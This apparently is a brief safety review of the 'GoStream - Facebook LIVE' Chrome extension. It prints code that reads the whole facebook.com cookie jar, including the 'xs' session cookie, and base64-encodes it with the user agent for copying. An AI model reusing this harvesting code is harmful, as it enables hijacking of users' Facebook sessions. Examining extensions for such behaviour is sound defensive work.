Is GoStream - Facebook LIVE safe?

// Fetches a single named cookie for a domain, used only to check Facebook login.
function getCookie(domain, name, callback) {
  try {
    chrome.cookies.get({ url: domain, name }, function (cookie) {
      if (cookie && callback) callback(cookie.value);
      else callback("");
    });
  } catch (e) {
    alert(e);
  }
}

// Fetches EVERY cookie scoped to a domain, not a single value.
function getCookies(domain, callback) {
  try {
    chrome.cookies.getAll({ url: domain }, function (cookie) {
      if (cookie && callback) callback(cookie);
      else callback([]);
    });
  } catch (e) {
    alert(e);
  }
}

// Confirms the user is logged into Facebook via the c_user cookie.
getCookie("https://facebook.com", "c_user", (cookie) => {
  if (cookie) {
    fb_id = cookie;
    return;
  }
  alert("Please login on Facebook");
  chrome.tabs.create({ url: "https://facebook.com" });
});

// Reads the FULL facebook.com cookie jar, including the auth-bearing "xs"
// session cookie, joins every name=value pair, appends the browser's user
// agent, and base64-encodes the result into the popup's Copy field.
getCookies("https://facebook.com", (cookies) => {
  fb_cookies = "";
  for (let item of cookies) {
    fb_cookies += `${item.name}=${item.value};`; // e.g. "xs=...;c_user=...;"
  }
  document.getElementById("script_code").value =
    btoa(`${fb_cookies}|||${navigator.userAgent}`);
});